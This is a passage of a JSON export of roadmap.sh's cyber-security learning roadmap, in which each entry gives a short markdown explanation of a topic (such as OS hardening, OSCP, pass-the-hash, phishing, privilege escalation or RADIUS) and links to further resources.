    "content": "# OneDrive\n\n**OneDrive** is a cloud storage service provided by Microsoft that allows users to store, sync, and share files and folders online. It integrates seamlessly with Windows and Microsoft 365 applications, enabling users to access their data from any device with an internet connection. OneDrive offers features such as real-time collaboration, file versioning, and automatic backup, making it convenient for personal and professional use. It also provides options for sharing files with others and controlling access permissions, enhancing productivity and data management.\n\nVisit the following resources to learn more:\n\n- [@official@Microsoft OneDrive](https://onedrive.live.com)\n- [@video@Microsoft OneDrive Tutorial](https://www.youtube.com/watch?v=qgw01w0iYjA)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/operating-system-hardening@_S25EOGS3P8647zLM5i-g.md",
    "content": "# Operating System Hardening\n\n**Operating system hardening** involves configuring and securing an OS to reduce vulnerabilities and improve its defense against attacks. This process includes disabling unnecessary services and ports, applying security patches and updates, configuring strong authentication mechanisms, enforcing least privilege principles, and enabling firewalls and intrusion detection systems. Hardening also involves setting up proper file permissions, securing system logs, and regularly auditing the system to ensure compliance with security policies and best practices. The goal is to minimize the attack surface and protect the OS from potential threats and exploits.\n\nVisit the following resources to learn more:\n\n- [@article@OS Hardening: 15 Best Practices](https://perception-point.io/guides/os-isolation/os-hardening-10-best-practices/)\n- [@article@Operating System (OS) Hardening: Pros, Cons, and Importance](https://linfordco.com/blog/operating-system-hardening/)\n- [@video@Hardening Techniques](https://www.youtube.com/watch?v=wXoC46Qr_9Q)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/operating-systems@UY6xdt_V3YMkZxZ1hZLvW.md",
    "content": "# Operating Systems\n\n**Operating systems (OS)** are software that manage computer hardware and provide a platform for applications to run. They handle essential functions such as managing memory, processing tasks, controlling input and output devices, and facilitating file management. Key examples include **Windows**, **macOS**, **Linux**, and **Unix**. Each operating system offers different features and interfaces, tailored to specific user needs or system requirements, from desktop computing to server management and embedded systems.\n\nVisit the following resources to learn more:\n\n- [@article@What is an operating system? - IBM](https://www.ibm.com/think/topics/operating-systems)\n- [@article@What is a Operating System?](https://en.wikipedia.org/wiki/Operating_system)\n- [@video@What is an operating system as fast as possible](https://www.youtube.com/watch?v=pVzRTmdd9j0)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/os-independent-troubleshooting@pJUhQin--BGMuXHPwx3JJ.md",
    "content": "# OS-Independent Troubleshooting\n\nTroubleshooting IT systems involves a systematic approach to identify and resolve issues, regardless of the operating system. This process includes recognizing common symptoms such as slow performance or hardware failures and following a structured plan to isolate the problem. Key techniques include checking physical connections, monitoring resource usage, verifying software configurations, analyzing logs, and testing network services with tools such as `ping` and `traceroute`.\n\nVisit the following resources to learn more:\n\n- [@article@OS-Independent Troubleshooting Flashcards](https://quizlet.com/ph/837474114/os-independent-troubleshooting-flash-cards/)\n- [@article@Troubleshooting Guide](https://cdnsm5-ss6.sharpschool.com/userfiles/servers/server_20856499/file/teacher%20pages/lindsay%20dolezal/it%20essentials/5.6.pdf)\n- [@video@Operating System Troubleshooting - CompTIA A+](https://www.youtube.com/watch?v=6gainrNiypc)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/oscp@SwVGVP2bbCFs2uNg9Qtxb.md",
    "content": "# OSCP\n\n**OSCP (Offensive Security Certified Professional)** is a widely recognized certification in cybersecurity that focuses on penetration testing and ethical hacking. Offered by Offensive Security, it requires candidates to complete a challenging exam that involves identifying and exploiting vulnerabilities in a controlled environment. The OSCP certification emphasizes hands-on skills, practical experience, and the ability to conduct comprehensive security assessments, making it highly valued by employers for its rigorous approach to real-world penetration testing techniques.\n\nVisit the following resources to learn more:\n\n- [@official@Offensive Security Certified Professional](https://www.offsec.com/courses/pen-200/)\n- [@article@How to Prepare for OSCP Exam](https://cybersecurityguide.org/programs/cybersecurity-certifications/oscp/)\n- [@article@How to Become an OSCP [Full Guide] - Geekflare](https://geekflare.com/cybersecurity/oscp-certification/)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/paas@PQ_np6O-4PK2V-r5lywQg.md",
    "content": "# Platform as a Service (PaaS)\n\nPlatform as a Service (PaaS) is a cloud computing model that delivers a complete platform—hardware, software, and infrastructure—for developing, running, and managing applications without the complexity of building and maintaining the underlying infrastructure typically associated with developing and launching an app. Think of it as providing the tools and resources needed for software development, all hosted in the cloud.\n\nVisit the following resources to learn more:\n\n- [@article@What is PaaS?](https://azure.microsoft.com/en-us/resources/cloud-computing-dictionary/what-is-paas)\n- [@video@PaaS Explained](https://www.youtube.com/watch?v=QAbqJzd0PEE)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/packet-captures@TIxEkfBrN6EXQ3IKP1B7u.md",
    "content": "# Packet Captures\n\n**Packet captures** involve recording and analyzing network traffic data packets as they travel across a network. This process allows network administrators and security professionals to inspect the content of packets, including headers and payloads, to diagnose network issues, monitor performance, and detect suspicious activities. Packet captures are typically performed using tools like Wireshark or tcpdump, which collect and store packets for later examination. This analysis helps in understanding network behavior, troubleshooting problems, and identifying security threats or vulnerabilities.\n\nVisit the following resources to learn more:\n\n- [@article@Packet Capture: What is it and What You Need to Know](https://www.varonis.com/blog/packet-capture)\n- [@video@Wireshark Tutorial for Beginners](https://www.youtube.com/watch?v=qTaOZrDnMzQ)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/packet-sniffers@k6UX0BJho5arjGD2RWPgH.md",
    "content": "# Packet Sniffers\n\n**Packet sniffers** are tools used to capture and analyze network traffic by intercepting data packets as they traverse a network. They provide insights into network activity, including protocols, IP addresses, and payload contents, which can be useful for diagnosing network issues, monitoring performance, and detecting unauthorized or malicious activity. Packet sniffers operate in promiscuous mode, allowing them to capture all packets on a network segment, and are commonly used for network troubleshooting, security analysis, and forensic investigations. Examples include Wireshark and tcpdump.\n\nVisit the following resources to learn more:\n\n- [@article@Packet Sniffing Explained](https://www.avast.com/c-packet-sniffing)\n- [@video@What is Packet Sniffing?](https://www.youtube.com/watch?v=5oioSbgBQ8I)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/parrotos@zR6djXnfTSFVEfvJonQjf.md",
    "content": "# ParrotOS\n\nParrotOS is a Debian-based Linux distribution designed for security, privacy, and development. It includes a comprehensive suite of tools for penetration testing, digital forensics, and vulnerability assessment, making it popular among cybersecurity professionals and ethical hackers. ParrotOS also features privacy-focused applications and settings, and it provides an environment for developers and privacy-conscious users to work securely.\n\nVisit the following resources to learn more:\n\n- [@official@ParrotOS](https://parrotsec.org/)\n- [@official@ParrotOS Documentation](https://parrotsec.org/docs)\n- [@official@ParrotOS Downloads](https://parrotsec.org/download)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/pass-the-hash@sMuKqf27y4iG0GrCdF5DN.md",
    "content": "# Pass the Hash\n\nPass the Hash (PtH) is a hacking technique that allows an attacker to authenticate to a remote server or service using the hashed value of a user's password, without needing to know the actual plaintext password. This method exploits weaknesses in the way some authentication protocols handle hashed credentials, particularly in Windows-based systems.\n\nVisit the following resources to learn more:\n\n- [@article@What is a pass-the-hash attack?](https://www.crowdstrike.com/cybersecurity-101/pass-the-hash/)\n- [@article@Pass the Hash Attack](https://www.netwrix.com/pass_the_hash_attack_explained.html)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/patching@e-MDyUR3GEv-e4Qsx_5vV.md",
    "content": "# Patching\n\n**Patching** refers to the process of updating software or systems with fixes or improvements to address security vulnerabilities, bugs, or performance issues. This involves applying patches—small pieces of code provided by software vendors or developers—to close security gaps, resolve operational problems, and enhance functionality. Regular patching is crucial for maintaining system security and stability, protecting against exploits, and ensuring that systems remain compliant with security standards and best practices.\n\nVisit the following resources to learn more:\n\n- [@article@What is Patch Management?](https://www.ibm.com/topics/patch-management)\n- [@video@What Is Patch Management, and Why Does Your Company Need It?](https://www.youtube.com/watch?v=O5XXlJear0w)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/penetration-testing-rules-of-engagement@NkAAQikwH-A6vrF8fWpuB.md",
    "content": "# Penetration Testing Rules of Engagement\n\nRules of Engagement (RoE) in penetration testing define the boundaries, scope, and limitations of the test. It's a documented agreement between the penetration tester and the client that outlines what systems are in scope, what testing techniques are permitted, a detailed schedule, and communication protocols during the engagement. This agreement ensures that the penetration test is conducted ethically, legally, and with minimal disruption to the client's business operations, preventing accidental damage or unintended consequences.\n\nVisit the following resources to learn more:\n\n- [@article@Why are Rules of Engagement Important to a Penetration Test?](https://www.triaxiomsecurity.com/rules-of-engagement-important-to-penetration-test/)\n- [@video@CompTIA Pentest+ : Rules of Engagement](https://www.youtube.com/watch?v=Rt-4j8k6J2U)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/performing-crud-on-files@zRXyoJMap9irOYo3AdHE8.md",
    "content": "# File CRUD Operations in Operating Systems\n\nCreating, reading, updating, and deleting (CRUD) files are fundamental operations within any operating system. These actions allow users and programs to interact with data stored on a computer, enabling everything from saving documents to managing configuration settings. Understanding how these operations work at a lower level provides insights into data management and system security.\n\nVisit the following resources to learn more:\n\n- [@article@What is CRUD?](https://www.crowdstrike.com/cybersecurity-101/observability/crud/)\n- [@article@CRUD Operations](https://www.freecodecamp.org/news/crud-operations-explained/)\n- [@video@What is CRUD?](https://www.youtube.com/watch?v=iNkspbIfcic)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/perimiter-vs-dmz-vs-segmentation@PUgPgpKio4Npzs86qEXa7.md",
    "content": "# Perimeter, DMZ, and Segmentation\n\nThese are network security concepts that define how a network is structured to protect its assets. The perimeter is the outer defense line, controlling traffic entering and exiting the network. A DMZ (Demilitarized Zone) hosts publicly accessible services, isolating them from the internal network. Segmentation divides the network into smaller, isolated zones to limit the impact of a security breach.\n\nVisit the following resources to learn more:\n\n- [@opensource@Best practice for network segmentation](https://github.com/sergiomarotco/Network-segmentation-cheat-sheet)\n- [@opensource@OWASP Network segmentation Cheat Sheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Network_Segmentation_Cheat_Sheet.md#network-segmentation-cheat-sheet)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/phishing@7obusm5UtHwWMcMMEB3lt.md",
    "content": "# Phishing\n\nPhishing is a type of social engineering attack where malicious actors attempt to deceive individuals into revealing sensitive information, such as usernames, passwords, credit card details, or other personal data. This is often done by disguising oneself as a trustworthy entity in an electronic communication, like an email, message, or website, to trick the recipient into clicking a malicious link or providing the requested information. The goal is to steal data or install malware on the victim's device.\n\nVisit the following resources to learn more:\n\n- [@article@How to Recognize and Avoid Phishing Scams](https://consumer.ftc.gov/articles/how-recognize-and-avoid-phishing-scams)\n- [@article@phishing - definition](https://www.techtarget.com/searchsecurity/definition/phishing)\n- [@video@Protect yourself from phishing](https://support.microsoft.com/en-us/windows/protect-yourself-from-phishing-0c7ea947-ba98-3bd9-7184-430e1f860a44)\n- [@video@Phishing attacks are SCARY easy to do!! (let me show you!)](https://www.youtube.com/watch?v=u9dBGWVwMMA)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/picoctf@pou5xHwnz9Zsy5J6lNlKq.md",
    "content": "# picoCTF\n\n**picoCTF** is an online cybersecurity competition designed to help students and beginners learn and practice hacking skills through capture-the-flag (CTF) challenges. Developed by Carnegie Mellon University, picoCTF features a series of progressively difficult puzzles that teach concepts such as reverse engineering, cryptography, web exploitation, forensics, and binary exploitation. It's an educational platform that offers hands-on experience in solving real-world cybersecurity problems, making it popular among both students and aspiring cybersecurity professionals for learning and improving their skills in a practical, interactive environment.\n\nVisit the following resources to learn more:\n\n- [@official@picoCTF](https://picoctf.org/)\n- [@video@BEGINNER Capture The Flag - PicoCTF 2021 001 \"Obedient Cat\"](https://www.youtube.com/watch?v=P07NH5F-t3s)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/ping@GuuY-Q6FZzfspB3wrH64r.md",
    "content": "# ping\n\n**Ping** is a network utility used to test the reachability and responsiveness of a device on a network. It sends Internet Control Message Protocol (ICMP) echo request packets to a target host and measures the time it takes for an echo reply to be received. Ping is commonly used to diagnose network connectivity issues, determine network latency, and check if a specific server or device is online. A successful ping response indicates that the target device is reachable, while failures or delays may suggest network problems, such as packet loss or routing issues.\n\nVisit the following resources to learn more:\n\n- [@article@What is ping?](https://www.solarwinds.com/resources/it-glossary/ping)\n- [@video@Ping command explained](https://www.youtube.com/watch?v=7sv5pL-XgSg)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/ping@yfTpp-ePuDB931FnvNB-Y.md",
    "content": "# ping\n\n**Ping** is a network utility used to test the reachability and responsiveness of a device on a network. It sends Internet Control Message Protocol (ICMP) echo request packets to a target host and measures the time it takes for an echo reply to be received. Ping is commonly used to diagnose network connectivity issues, determine network latency, and check if a specific server or device is online. A successful ping response indicates that the target device is reachable, while failures or delays may suggest network problems, such as packet loss or routing issues.\n\nVisit the following resources to learn more:\n\n- [@article@What is ping?](https://www.solarwinds.com/resources/it-glossary/ping)\n- [@video@Ping command explained](https://www.youtube.com/watch?v=7sv5pL-XgSg)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/pki@fxyJxrf3mnFTa3wXk1MCW.md",
    "content": "# Public Key Infrastructure (PKI)\n\nPublic Key Infrastructure (PKI) is a system that uses digital certificates to verify and authenticate the identity of users, devices, and services. It relies on cryptographic keys – a public key for encrypting data and a corresponding private key for decrypting it. PKI establishes a trusted environment for secure electronic transactions and communication by managing digital certificates that bind a public key to an identity, ensuring that the communication is from a trusted party.\n\nVisit the following resources to learn more:\n\n- [@article@What is PKI?](https://cpl.thalesgroup.com/faq/public-key-infrastructure-pki/what-public-key-infrastructure-pki)\n- [@article@What Is Public Key Infrastructure (PKI) & How Does It Work?](https://www.okta.com/identity-101/public-key-infrastructure/)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/port-blocking@W7bcydXdwlubXF2PHKOuq.md",
    "content": "# Port Blocking\n\nPort blocking is an essential practice in hardening the security of your network and devices. It involves restricting, filtering, or entirely denying access to specific network ports to minimize exposure to potential cyber threats. By limiting access to certain ports, you can effectively safeguard your systems against unauthorized access and reduce the likelihood of security breaches.\n\nVisit the following resources to learn more:\n\n- [@article@What is Port Blocking?](https://cyberpedia.reasonlabs.com/EN/port%20blocking.html)\n- [@article@Is Your Router Blocking Your Ports? Here's How to Find Out?](https://softhandtech.com/how-can-i-tell-if-a-port-is-blocked-on-my-router/)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/port-scanners@iJRQHzh5HXADuWpCouwxv.md",
    "content": "# Port Scanners\n\nPort scanners are essential tools in the troubleshooting and cybersecurity landscape. They are designed to detect open or closed network ports on a target system. Network ports serve as communication endpoints for various applications and services running on a device, and knowing the status of these ports can help identify potential security vulnerabilities or confirm that specific services are running as intended.\n\nVisit the following resources to learn more:\n\n- [@article@Top 5 Free Open Port Check Tools in 2026](https://www.upguard.com/blog/best-open-port-scanners)\n- [@video@How To Use Nmap To Scan For Open Ports](https://www.youtube.com/watch?v=ifbwTt3_oCg)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/power-shell@paY9x2VJA98FNGBFGRXp2.md",
    "content": "# PowerShell\n\nPowerShell is a command-line shell and scripting language developed by Microsoft. It's designed for system administrators to automate tasks and manage operating systems. Built on the .NET framework, PowerShell uses cmdlets (pronounced \"command-lets\") to perform specific actions and can interact with various system components and applications.\n\nVisit the following resources to learn more:\n\n- [@official@PowerShell.org](https://powershell.org/)\n- [@opensource@PowerShell for beginners](https://gist.github.com/devops-school/43dfcd57c0c807e83d01fc6a9639d3d9)\n- [@article@Microsoft's PowerShell Documentation](https://docs.microsoft.com/en-us/powershell/)\n- [@video@PowerShell Course](https://www.youtube.com/watch?v=ZOoCaWyifmI)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/preparation@w6V4JOtXKCMPAkKIQxvMg.md",
    "content": "# Preparation\n\nThe **Preparation** phase in incident response involves establishing and maintaining the tools, policies, and procedures necessary to handle security incidents effectively. This includes creating an incident response plan, defining roles and responsibilities, training staff, and ensuring that appropriate technologies, such as monitoring systems and logging tools, are in place to detect and respond to incidents. Preparation also involves conducting regular drills, threat intelligence gathering, and vulnerability assessments to enhance readiness, ensuring the organization is equipped to mitigate potential security threats quickly and efficiently.\n\nVisit the following resources to learn more:\n\n- [@article@What is Incident Response](https://www.microsoft.com/en-gb/security/business/security-101/what-is-incident-response)\n- [@video@Cyber Security Incident Response Explained](https://www.youtube.com/watch?v=ePZGqlcB1O8)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/private-vs-public-keys@7svh9qaaPp0Hz23yinIye.md",
    "content": "# Private vs Public Keys\n\nPrivate and public keys are fundamental components of modern cryptography. A private key is a secret, known only to the owner, used for encrypting data and creating digital signatures. A public key, mathematically related to the private key, can be shared openly and is used to decrypt messages encrypted with the corresponding private key or to verify digital signatures created with the private key. The security relies on the difficulty of deriving the private key from the public key.\n\nVisit the following resources to learn more:\n\n- [@article@SSH Keys Explained](https://www.sectigo.com/resource-library/what-is-an-ssh-key)\n- [@article@Public Key vs Private Key: How are they Different?](https://venafi.com/blog/what-difference-between-public-key-and-private-key/)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/private@ecpMKP1cQXXsfKETDUrSf.md",
    "content": "# Private\n\nA **private cloud** is a cloud computing environment dedicated to a single organization, offering the same benefits as public clouds, such as scalability and self-service, but with greater control and customization. It is hosted either on-premises or by a third-party provider, and it ensures that the organization's data and applications are isolated from other entities. This setup enhances security and compliance, making it ideal for businesses with specific regulatory requirements or high-security needs.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Private Cloud?](https://aws.amazon.com/what-is/private-cloud/)\n- [@video@Private Cloud Rules](https://www.youtube.com/watch?v=Tzqy8lW0bk4)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/privilege-escalation@cvI8-sxY5i8lpelW9iY_5.md",
    "content": "# Privilege escalation\n\nPrivilege escalation is a technique where an attacker increases their access level within a system, moving from lower to higher permissions, such as from a standard user to an administrator. This can be achieved by exploiting system vulnerabilities, misconfigurations, or security weaknesses. It is critical to implement strong access controls, adhere to the principle of least privilege, and regularly update and patch systems to defend against such attacks.\n\nVisit the following resources to learn more:\n\n- [@article@What is Privilege Escalation?](https://www.crowdstrike.com/cybersecurity-101/privilege-escalation/)\n- [@video@Privilege Escalation](https://www.youtube.com/watch?v=ksjU3Iu195Q)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/programming-skills@_RnuQ7952N8GWZfPD60sJ.md",
    "content": "# Programming Skills and Knowledge (Optional But Recommended)\n\nProgramming knowledge is a fundamental skill for professionals in the cybersecurity field, as it enables them to build, assess, and defend computer systems, networks, and applications. Having a strong foundation in programming languages, concepts, and techniques is essential for identifying potential security threats, writing secure code, and implementing robust security measures.\n\n*   **Python**: As an easy-to-learn high-level language, Python is commonly used for tasks like automation, scripting, and data analysis. It also contains a plethora of libraries and frameworks for cybersecurity, making it highly valuable for security professionals.\n*   **C/C++**: These two languages are foundational for understanding system and application-level vulnerabilities since most operating systems are written in C and C++. Knowledge of these languages allows cybersecurity experts to analyze source code, identify potential exploits, and create secure software.\n*   **Java**: As a popular and versatile programming language, Java is often used in web applications and enterprise environments. Java knowledge equips cybersecurity professionals to understand and mitigate potential security flaws in Java-based applications.\n*   **JavaScript**: With its ubiquity in modern web browsers, JavaScript is crucial for understanding and protecting against web security vulnerabilities, such as Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF) attacks.\n*   **Ruby**: Ruby has a strong foothold in web application development and is utilized for scripting and automation, just like Python. Familiarity with Ruby may give cybersecurity professionals an edge in certain environments.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Linux Roadmap](https://roadmap.sh/linux)\n- [@roadmap@Visit Python Roadmap](https://roadmap.sh/python)\n- [@roadmap@Visit C++ Roadmap](https://roadmap.sh/cpp)\n- [@roadmap@Visit Java Roadmap](https://roadmap.sh/java)\n- [@roadmap@Visit JavaScript Roadmap](https://roadmap.sh/javascript)\n- [@roadmap@Visit Typescript Roadmap](https://roadmap.sh/typescript)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/protocol-analyzers@K05mEAsjImyPge0hDtsU0.md",
    "content": "# Protocol Analyzers\n\n**Protocol analyzers**, also known as network analyzers or packet sniffers, are tools used to capture, inspect, and analyze network traffic. They help diagnose network issues, troubleshoot performance problems, and ensure security by providing detailed insights into the data packets transmitted across a network. Protocol analyzers decode and display various network protocols, such as TCP/IP, HTTP, and DNS, allowing users to understand communication patterns, detect anomalies, and identify potential vulnerabilities. Popular examples include Wireshark and tcpdump.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Protocol Analyzer?](https://www.liveaction.com/glossary/protocol-analyzer/)\n- [@video@Protocol Analyzers](https://www.youtube.com/watch?v=hTMhlB-o0Ow)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/proxmox@jqX1A5hFF3Qznqup4lfiF.md",
    "content": "# proxmox\n\n**Proxmox** is an open-source virtualization management platform that integrates both **Proxmox Virtual Environment (Proxmox VE)** and **Proxmox Mail Gateway**. Proxmox VE combines virtualization technologies, including KVM for virtual machines and LXC for lightweight containers, into a unified web-based interface for managing and deploying virtualized environments. It offers features such as high availability, storage management, and backup solutions. Proxmox Mail Gateway provides email security and anti-spam solutions, protecting email systems from threats. Proxmox is valued for its flexibility, cost-effectiveness, and comprehensive management capabilities.\n\nVisit the following resources to learn more:\n\n- [@official@Proxmox](https://www.proxmox.com/en/)\n- [@article@Proxmox Virtual Environment](https://en.wikipedia.org/wiki/Proxmox_Virtual_Environment)\n- [@video@What is Proxmox virtualization?](https://www.youtube.com/watch?v=GMAvmHEWAMU)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/public-vs-private-ip-addresses@2nQfhnvBjJg1uDZ28aE4v.md",
    "content": "# Public vs Private IP Addresses\n\nPublic addresses are IP addresses assigned to devices directly accessible over the internet, allowing them to communicate with external networks and services. In contrast, private addresses are used within local networks and are not routable over the Internet, providing a way for devices within a private network to communicate with each other while conserving public IP address space. Public addresses are unique across the internet, whereas private addresses are reused across different local networks and are typically managed by network address translation (NAT) to interface with public networks.\n\nVisit the following resources to learn more:\n\n- [@article@Public vs Private IP Addresses](https://www.avast.com/c-ip-address-public-vs-private)\n- [@video@What is the difference between public and private ip?](https://www.youtube.com/watch?v=R6Czae6Iow4&t=1s)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/public@ZDj7KBuyZsKyEMZViMoXW.md",
    "content": "# Public Cloud\n\nPublic cloud refers to computing services offered by a third-party provider over the public internet, available to anyone who wants to use or purchase them. These services include servers, storage, databases, networking, software, analytics, and intelligence. Users typically pay only for the resources they consume, allowing for scalability and cost-effectiveness.\n\nVisit the following resources to learn more:\n\n- [@article@A Public Cloud?](https://azure.microsoft.com/en-gb/resources/cloud-computing-dictionary/what-is-a-public-cloud)\n- [@video@What is a Public Cloud](https://www.youtube.com/watch?v=KaCyfQ7luVY)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/python@XiHvGy--OkPFfJeKA6-LP.md",
    "content": "# Python\n\n**Python** is a high-level, interpreted programming language known for its readability, simplicity, and versatility. It supports multiple programming paradigms, including procedural, object-oriented, and functional programming. Python's extensive standard library and a rich ecosystem of third-party packages make it suitable for a wide range of applications, from web development and data analysis to machine learning and automation. Its straightforward syntax and dynamic typing facilitate rapid development and prototyping, making it popular among beginners and experienced developers alike.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Python Roadmap](https://roadmap.sh/python)\n- [@course@Python Full Course for Beginners](https://www.youtube.com/watch?v=K5KVEU3aaeQ)\n- [@video@Python in 100 Seconds](https://www.youtube.com/watch?v=x7X9w_GIm1s)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/radius@tH3RLnJseqOzRIbZMklHD.md",
    "content": "# RADIUS\n\n**Remote Authentication Dial-In User Service (RADIUS)** is a network protocol that provides centralized Authentication, Authorization, and Accounting (AAA) management for users who connect to and use a network service. It is commonly used for managing access to network resources such as VPNs, Wi-Fi, and dial-up services. RADIUS servers validate user credentials, enforce access policies, and log user activities. It operates over UDP ports 1812 (authentication) and 1813 (accounting), and supports encryption for securely transmitting user credentials and data.\n\nVisit the following resources to learn more:\n\n- [@article@RADIUS (Remote Authentication Dial-In User Service)](https://www.techtarget.com/searchsecurity/definition/RADIUS)\n- [@video@How RADIUS Authentication Works](https://www.youtube.com/watch?v=LLrb3em-_po)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/rdp@Ia6M1FKPNpqLDiWx7CwDh.md",
    "content": "# RDP\n\n**Remote Desktop Protocol (RDP)** is a Microsoft-developed protocol that enables users to remotely access and control a computer over a network. It allows users to interact with a remote desktop environment as if they were sitting in front of the computer, providing access to applications, files, and network resources. RDP is commonly used for remote administration, technical support, and remote work. It operates over TCP port 3389 and supports encryption for secure data transmission, though proper security measures, like strong passwords and multi-factor authentication, are essential to prevent unauthorized access.\n\nVisit the following resources to learn more:\n\n- [@article@What is the Remote Desktop Protocol (RDP)?](https://www.cloudflare.com/en-gb/learning/access-management/what-is-the-remote-desktop-protocol/)\n- [@video@What is RDP and how to use it?](https://www.youtube.com/watch?v=flPnBSz-lqw)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/reconnaissance@UU_inxa8Y2lLP2BRhdLDT.md",
    "content": "# Reconnaissance\n\nReconnaissance is the first phase of a cyber-attack, during which attackers gather as much information as possible about a target system, network, or organization. The goal of reconnaissance is to identify potential vulnerabilities, entry points, and other valuable details that can be exploited in subsequent attack phases.\n\nVisit the following resources to learn more:\n\n- [@article@What is Cyber Reconnaissance](https://www.sentinelone.com/cybersecurity-101/threat-intelligence/what-is-cyber-reconnaissance/)\n- [@article@What is Cybersecurity Reconnaissance?](https://cymulate.com/cybersecurity-glossary/cyber-reconnaissance/)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/recovery@vFjbZAJq8OfLb3_tsc7oT.md",
    "content": "# Recovery\n\nThe recovery phase of incident response focuses on restoring affected systems and services to normal operation, which involves repairing systems, recovering data from backups, validating functionality, and communicating with stakeholders. This phase also includes conducting a post-incident review to document lessons learned and update response plans to improve future preparedness. The aim is to minimize downtime, ensure data integrity, and return to normal operations efficiently.\n\nVisit the following resources to learn more:\n\n- [@article@Incident Response Plan: Framework and Steps](https://www.crowdstrike.com/cybersecurity-101/incident-response/incident-response-steps/)\n- [@video@Incident Response Process](https://www.youtube.com/watch?v=fU_w8Ou9RVg)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/replay-attack@mIX8PsIGuwgPCGQZ6ok2H.md",
    "content": "# Replay Attack\n\nA Replay Attack is a type of network attack where an attacker intercepts and retransmits legitimate communication data, often with the aim of gaining unauthorized access to a system or performing unauthorized actions. In this attack, the attacker captures a valid data transmission and then \"replays\" it later, without needing to decrypt or alter the data, to trick the recipient into thinking it's a legitimate request.\n\nVisit the following resources to learn more:\n\n- [@article@What Is a Replay Attack?](https://usa.kaspersky.com/resource-center/definitions/replay-attack)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/ring@9vEUVJ8NTh0wKyIE6-diY.md",
    "content": "# Ring\n\nIn a ring topology, each network device is connected in a circular fashion, where data travels through each node in one direction (or both in a bidirectional setup) until it reaches its destination. This structure simplifies wiring and ensures a predictable data path, but a failure in any single node or connection can disrupt the entire network unless redundant paths are used. Ring topology is known for its straightforward installation but is less common today due to its vulnerability to network interruptions.\n\nVisit the following resources to learn more:\n\n- [@article@What is Ring Topology?](https://www.lenovo.com/gb/en/glossary/what-is-ring-topology/)\n- [@video@Network Topologies - Ring](https://www.youtube.com/watch?v=hjeDN2xnc50)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/rmf@fjEdufrZAfW4Rl6yDU8Hk.md",
    "content": "# Risk Management Framework (RMF)\n\nThe Risk Management Framework (RMF) is a structured, comprehensive process for managing security and privacy risk for information systems, organizations, and individuals. It provides a unified framework to identify, assess, and mitigate risks throughout the system development lifecycle. The RMF involves selecting security controls, implementing them, assessing their effectiveness, authorizing system operation, and continuously monitoring the implemented controls.\n\nVisit the following resources to learn more:\n\n- [@article@What is the Risk Management Framework?](https://www.techtarget.com/searchcio/definition/Risk-Management-Framework-RMF)\n- [@video@RMF explained in 5 minutes](https://www.youtube.com/watch?v=X5yqPFp__rc)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/rogue-access-point@Ee7LfbhwJbiWjJ3b_bbni.md",
    "content": "# Rogue Access Point\n\nA Rogue Access Point (Rogue AP) is an unauthorized wireless access point installed on a secure network without the network administrator's knowledge or consent. These devices can be set up by malicious actors to intercept, steal, or manipulate network traffic, or by employees who unintentionally compromise network security by setting up their own wireless access points.\n\nVisit the following resources to learn more:\n\n- [@article@Rogue Access Points](https://www.khanacademy.org/computing/computers-and-internet/xcae6f4a7ff015e7d:online-data-security/xcae6f4a7ff015e7d:cyber-attacks/a/rogue-access-points-mitm-attacks)\n- [@article@What is Rogue Access Point](https://pentescope.com/rogue-access-point-detection-and-prevention/)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/roles-of-compliance-and-auditors@kqT0FRLt9Ak9P8PhHldO-.md",
    "content": "# Roles of Compliance and Auditors\n\nCompliance and auditors ensure organizations adhere to internal policies, industry regulations, and legal requirements related to data security and privacy. They assess security controls, identify vulnerabilities, and verify that practices align with established standards like GDPR, HIPAA, or PCI DSS. Through regular audits and compliance checks, they help organizations maintain a strong security posture and avoid penalties or reputational damage.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Compliance Audit?](https://www.auditboard.com/blog/compliance-audit/)\n- [@article@Compliance Office and Internal Audit Roles and Responsibilities](https://www.compliance.com/resources/compliance-office-and-internal-audit-roles-and-responsibilities/)"
  },
  {
